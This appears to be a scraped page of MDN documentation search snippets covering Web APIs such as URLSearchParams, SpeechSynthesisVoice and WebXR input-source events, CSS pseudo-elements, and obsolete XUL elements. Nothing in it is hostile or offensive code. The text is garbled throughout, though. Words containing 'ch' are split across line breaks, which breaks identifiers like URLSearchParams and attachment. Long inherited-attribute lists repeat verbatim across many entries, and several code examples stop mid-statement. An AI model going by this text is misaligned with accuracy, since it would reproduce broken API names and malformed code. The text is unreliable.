... examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.append
child(option); } specifications specification status comment web spee
ch apithe definition of 'name' in that specification.
SpeechSynthesisVoice.voiceURI - Web APIs
the voiceuri read-only property of the spee
chsynthesisvoice interface returns the type of uri and location of the spee
ch synthesis service for this voice.
... syntax var myvoiceuri = spee
chsynthesisvoiceinstance.voiceuri; value a domstring representing the uri of the voice.
... examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } console.log(voices[i].voiceuri); // on mac, this returns urns, for example 'urn:moz-tts:osx:com.apple.spee
ch.synthesis.voice.daniel' option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.append
child(option); } specifications specification status comment web spee
ch apithe definition of 'voiceuri' in that specification.
URLSearchParams.delete() - Web APIs
the delete() method of the urlsear
chparams interface deletes the given sear
ch parameter and all its associated values, from the list of all sear
ch parameters.
... syntax urlsear
chparams.delete(name) parameters name the name of the parameter to be deleted.
... return value void examples let url = new url('https://example.com?foo=1&bar=2&foo=3'); let params = new urlsear
chparams(url.sear
ch.slice(1)); // delete the foo parameter.
URLSearchParams.getAll() - Web APIs
the getall() method of the urlsear
chparams interface returns all the values associated with a given sear
ch parameter as an array.
... syntax urlsear
chparams.getall(name) parameters name the name of the parameter to return.
... examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsear
chparams(url.sear
ch.slice(1)); //add a second foo parameter.
URLSearchParams.has() - Web APIs
the has() method of the urlsear
chparams interface returns a boolean that indicates whether a parameter with the specified name exists.
... syntax var hasname = urlsear
chparams.has(name) parameters name the name of the parameter to find.
... examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsear
chparams(url.sear
ch.slice(1)); params.has('bar') === true; //true specifications specification status comment urlthe definition of 'has()' in that specification.
URLSearchParams.keys() - Web APIs
the keys() method of the urlsear
chparams interface returns an iterator allowing iteration through all keys contained in this object.
... syntax sear
chparams.keys(); parameters none.
... examples // create a test urlsear
chparams object var sear
chparams = new urlsear
chparams("key1=value1&key2=value2"); // display the keys for(var key of sear
chparams.keys()) { console.log(key); } the result is: key1 key2 specifications specification status comment urlthe definition of 'keys() (see "iterable")' in that specification.
URLSearchParams.sort() - Web APIs
the urlsear
chparams.sort() method sorts all key/value pairs contained in this object in place and returns undefined.
... syntax sear
chparams.sort(); parameters none.
... examples // create a test urlsear
chparams object var sear
chparams = new urlsear
chparams("c=4&a=2&b=3&a=1"); // sort the key/value pairs sear
chparams.sort(); // display the sorted query string console.log(sear
chparams.tostring()); the result is: a=2&a=1&b=3&c=4 specifications specification status comment urlthe definition of 'sort()' in that specification.
URLSearchParams.values() - Web APIs
the values() method of the urlsear
chparams interface returns an iterator allowing iteration through all values contained in this object.
... syntax sear
chparams.values(); parameters none.
... examples // create a test urlsear
chparams object var sear
chparams = new urlsear
chparams("key1=value1&key2=value2"); // display the values for(var value of sear
chparams.values()) { console.log(value); } the result is: value1 value2 specifications specification status comment urlthe definition of 'values() (see "iterable")' in that specification.
USBDevice.isochronousTransferIn() - Web APIs
the iso
chronoustransferin() method of the usbdevice interface returns a promise that resolves with a usbiso
chronousintransferresult when time sensitive information has been transmitted received from the usb device.
... syntax var promise = usbdevice.iso
chronoustransferin(endpointnumber, packetlengths) parameters endpointnumber the number of a device-specific endpoint (buffer).
... return value a promise that resolves with a usbiso
chronousintransferresult specifications specification status comment webusbthe definition of 'iso
chronoustransferin()' in that specification.
VideoTrackList: change event - Web APIs
the
change event is fired when a video track is made active or inactive, for example by
changing the track's selected property.
... bubbles no cancelable no interface event event handler property on
change examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.videotracks.addeventlistener('
change', (event) => { console.log(`'${event.type}' event fired`); }); //
changing the value of `selected` will trigger the `
change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track = videoelement.videotracks[0]; track.selected = !track.selected; }); using the on
change event handler property: const videoelement = document.queryselector('video'); videoelement.videotracks.on
change = (event) => { console.log(`'${event.type}' event fir...
...ed`); }; //
changing the value of `selected` will trigger the `
change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track = videoelement.videotracks[0]; track.selected = !track.selected; }); specifications specification status html living standardthe definition of '
change' in that specification.
Window.applicationCache - Web APIs
important: application ca
che is deprecated as of firefox 44, and is no longer available in insecure contexts from firefox 60 onwards (bug 1354175, currently nightly/beta only).
... returns a reference to the application ca
che object for the window.
... syntax ca
che = window.applicationca
che parameters ca
che is an object reference to an offlineresourcelist.
WorkerGlobalScope.onlanguagechange - Web APIs
the onlanguage
change property of the workerglobalscope interface represents an eventhandler to be called when the language
change event occurs and bubbles through the worker.
... syntax self.onlanguage
change = function() { ...
... }; example the following code snippet shows an onlanguage
change handler set inside a worker: self.onlanguage
change = function() { console.log('your preferred language settings have been
changed'); } specifications specification status comment html living standardthe definition of 'workerglobalscope.onlanguage
change' in that specification.
XMLHttpRequest.channel - Web APIs
xmlhttprequest.
channel is an nsi
channel that used by the object when performing the request.
... this is null if the
channel hasn't been created yet.
... in the case of a multi-part request, this is the initial
channel, not the different parts in the multi-part request.
XRInputSourcesChangeEvent.session - Web APIs
the xrinputsources
changeevent property session specifies the xrsession to whi
ch the input source list
change event applies.
... syntax let inputssession = xrinputsources
changeevent.session; value an xrsession indicating the webxr session to whi
ch the input source list
change applies.
... specifications specification status comment webxr device apithe definition of 'xrinputsources
changeevent.session' in that specification.
XRInputSourcesChangeEventInit.added - Web APIs
the xrinputsources
changeeventinit property added specifies a list of input sources, ea
ch identified using an xrinputsource object, whi
ch the represented inputsources
change event is to indicate are newly available for use.
... syntax let inputsourceseventinit = { session: xrsession, added: [newdevice1, ..., newdevicen], removed: [removeddevice1, ..., newdevicen], }; myinputsources
changeevent = new xrinputsources
changeeventinit("inputsources
change", inputsourceseventinit); myinputsources
changeevent = new xrinputsources
changeeventinit("inputsources
change", { session: xrsession, added: addeddevicelist, removed: removeddevicelist }); value an array of zero or more xrinputsource objects, ea
ch representing one input device added to the xr system.
... specifications specification status comment webxr device apithe definition of 'xrinputsources
changeeventinit.added' in that specification.
XRInputSourcesChangeEventInit.removed - Web APIs
the xrinputsources
changeeventinit property removed is an array of zero or more xrinputsource objects, ea
ch representing one input source whi
ch has been removed from the xrsession.
... syntax let inputsourceseventinit = { session: xrsession, added: [newdevice1, ..., newdevicen], removed: [removeddevice1, ..., newdevicen], }; myinputsources
changeevent = new xrinputsources
changeeventinit("inputsources
change", inputsourceseventinit); myinputsources
changeevent = new xrinputsources
changeeventinit("inputsources
change", { session: xrsession, added: addeddevicelist, removed: removeddevicelist }); value an array of zero or more xrinputsource objects, ea
ch representing one input device removed from the xr system.
... specifications specification status comment webxr device apithe definition of 'xrinputsources
changeeventinit.removed' in that specification.
XRInputSourcesChangeEventInit.session - Web APIs
the xrinputsources
changeeventinit property session specifies the xrsession to whi
ch the input source list
change event applies.
... syntax let inputsourceseventinit = { session: xrsession, added: [newdevice1, ..., newdevicen], removed: [removeddevice1, ..., newdevicen], }; myinputsources
changeevent = new xrinputsources
changeeventinit("inputsources
change", inputsourceseventinit); myinputsources
changeevent = new xrinputsources
changeeventinit("inputsources
change", { session: xrsession, added: addeddevicelist, removed: removeddevicelist }); value an xrsession indicating the webxr session to whi
ch the input source list
change applies.
... specifications specification status comment webxr device apithe definition of 'xrinputsources
changeeventinit.session' in that specification.
XRSession.oninputsourceschange - Web APIs
the oninputsource
change attribute of the xrsession object is the event handler for the inputsource
change event, whi
ch is dispat
ched when session's list of active xr input sources has
changed.
... syntax xrsession.oninputsources
change = function(event) { ...
... } example xrsession.oninputsources
change = function(event) { console.log("the list of active xr input sources has
changed.") } specifications specification status comment webxr device apithe definition of 'xrsession.oninputsources
change' in that specification.
XRSession.onvisibilitychange - Web APIs
the onvisibility
change attribute of the xrsession object is the event handler for the visibility
change event, whi
ch is dispat
ched when the visibility state of the xr session
changes.
... syntax xrsession.onvisibility
change = function(event) { ...
... } example xrsession.onvisibility
change = function(event) { console.log("the visibility the xr session
changed.") } specifications specification status comment webxr device apithe definition of 'xrsession.onvisibility
change' in that specification.
XRSystem: ondevicechange - Web APIs
the ondevice
change property of the xrsystem interface is passed a device
change event whenever availability of an immersive device
changes.
... syntax navigator.xr.ondevice
change = function(event) { ...
... }; value undefined example navigator.xr.ondevice
change = function(ev) { console.log("the availability of immersive xr devices has
changed.") }; specifications specification status comment webxr device apithe definition of 'ondevice
change ' in that specification.
-webkit-mask-attachment - CSS: Cascading Style Sheets
if a -webkit-mask-image is specified, -webkit-mask-atta
chment determines whether the mask image's position is fixed within the viewport, or scrolls along with its containing block.
... /* keyword values */ -webkit-mask-atta
chment: scroll; -webkit-mask-atta
chment: fixed; -webkit-mask-atta
chment: local; /* multiple values */ -webkit-mask-atta
chment: scroll, local; -webkit-mask-atta
chment: fixed, local, scroll; /* global values */ -webkit-mask-atta
chment: inherit; -webkit-mask-atta
chment: initial; -webkit-mask-atta
chment: unset; syntax values scroll if scroll is specified, the mask image scrolls within the viewport along with the block that contains the mask image.
... formal definition initial valuescrollapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <atta
chment>#where <atta
chment> = scroll | fixed | local examples fixing a mask image to the viewport body { -webkit-mask-image: url('images/mask.png'); -webkit-mask-atta
chment: fixed; } specifications not part of any standard.
::-moz-color-swatch - CSS: Cascading Style Sheets
the ::-moz-color-swat
ch css pseudo-element is a mozilla extension that represents the color selected in an <input> of type="color".
... note: using ::-moz-color-swat
ch with anything but an <input type="color"> doesn't mat
ch anything and has no effect.
... examples html <input type="color" value="#de2020" /> css input[type=color]::-moz-color-swat
ch { border-radius: 10px; border-style: none; } result specifications not part of any standard.
::-webkit-search-cancel-button - CSS: Cascading Style Sheets
the ::-webkit-sear
ch-cancel-button css pseudo-element represents a button (the "cancel button") at the edge of an <input> of type="sear
ch" whi
ch clears away the current value of the <input> element.
...the clear button is only shown on non-empty sear
ch <input> elements.
... syntax selector::-webkit-sear
ch-cancel-button specifications not part of any standard.
::-webkit-search-results-button - CSS: Cascading Style Sheets
the ::-webkit-sear
ch-results-button css pseudo-element represents a button (the "sear
ch results button") at the left edge of an <input> of type="sear
ch" whi
ch when clicked displays a menu whi
ch allows the user to
choose from previous recent sear
ch queries.
...the sear
ch results button is only shown on sear
ch <input> elements that have a results attribute.
... syntax selector::-webkit-sear
ch-results-button specifications not part of any standard.
Link types: dns-prefetch - HTML: Hypertext Markup Language
the dns-prefet
ch keyword for the rel attribute of the <link> element is a hint to browsers that the user is likely to need resources from the target resource's origin, and therefore the browser can likely improve the user experience by preemptively performing dns resolution for that origin.
... see using dns-prefet
ch for more details.
... specifications specification status comment html living standardthe definition of 'dns-prefet
ch' in that specification.
itemCount - Archive of obsolete content
« xul reference itemcount type: integer read only property holding the number of
child items.
... example var bucket = document.getelementbyid("atta
chmentbucket"); if(bucket.itemcount == 0) { dump("\n\n no atta
chments \n\n"); } else { dump("\n\n atta
chment exists \n\n"); } ...
visibleTabs - Archive of obsolete content
« xul reference visibletabs type: array an array containing tab objects for ea
ch visible tab in the tabbrowser.
... this lets you determine whi
ch tabs are visible in the current tab set.
Urlbar-icons - Archive of obsolete content
create new image or button
child elements to add your own items.
... (the url bar is also known as the address bar and the navigation bar.) example the default contents of browser.xul: <hbox id="urlbar-icons"> <button be=""
chromedir="ltr" class="urlbar-icon" click="" for="" id="safebrowsing-urlbar-icon" img="" level="safe" might="" onclick="godocommand('safebrowsing-show-warning');" page="" style="-moz-user-focus:" tooltiptext="this" type="menu"> <img class="urlbar-icon" id="star-button" onclick="placesstarbutton.onclick(event);" /> <img address=""
chromedir="ltr" class="urlbar-icon" id="go-button" in="" location="" onclick="handleurlbarcommand(event);" p="" the="" to="" tooltiptext="go" /> </button> </hbox> ...
XUL and RDF - Archive of obsolete content
this section makes a te
chnical argument both for having xul in the first place and for using rdf as the underlying implementation of xul's content model.
... the second section describes the xul/rdf ar
chitecture itself and outlines enhancements to the xul language in order to allow the markup language to reference local data and to indicate how and when it would like to be annotatable with local data.
bbox - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
broadcasterset - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
elements - Archive of obsolete content
a action arrowscrollbox b bbox binding bindings box broadcaster broadcasterset button browser c
checkbox caption colorpicker column columns commandset command conditions content d deck description dialog dialogheader e editor grid grippy groupbox h hbox i iframe image k key keyset l label listbox listcell listcol listcols listhead listheader listitem m member menu menubar menuitem menulist menupopup menuseparator o observes overlay p page popup popupset preference preferences prefpane prefwindow progressmeter r radio radiogroup resizer ri
chlistbox ri
chlistitem resizer row rows rule s script scrollbar scrollbox scrollcor...
...ner separator spacer splitter stack statusbar statusbarpanel stringbundle stringbundleset t tab tabbrowser tabbox tabpanel tabpanels tabs template textnode textbox titlebar toolbar toolbarbutton toolbargrippy toolbaritem toolbarpalette toolbarseparator toolbarset toolbarspacer toolbarspring toolbox tooltip tree treecell tree
children treecol treecols treeitem treerow treeseparator triple v vbox w window wizard wizardpage ...
listcol - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements listbox, listcell, listcols, listhead, listheader, listitem ...
menubar - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements menu, menuitem, menulist, menupopup, menuseparator interfaces nsiaccessibleprovider ...
page - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
popupset - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements popup, menupopup ...
queryset - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
scrollcorner - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
spacer - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements separator, splitter ...
spinbuttons - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
statusbar - Archive of obsolete content
xobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements statusbarpanel interfaces nsiaccessibleprovider ...
stringbundleset - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
tabpanel - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements tabbox, tabs, tab, tabpanels.
template - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
textnode - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
toolbaritem - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarseparator - Archive of obsolete content
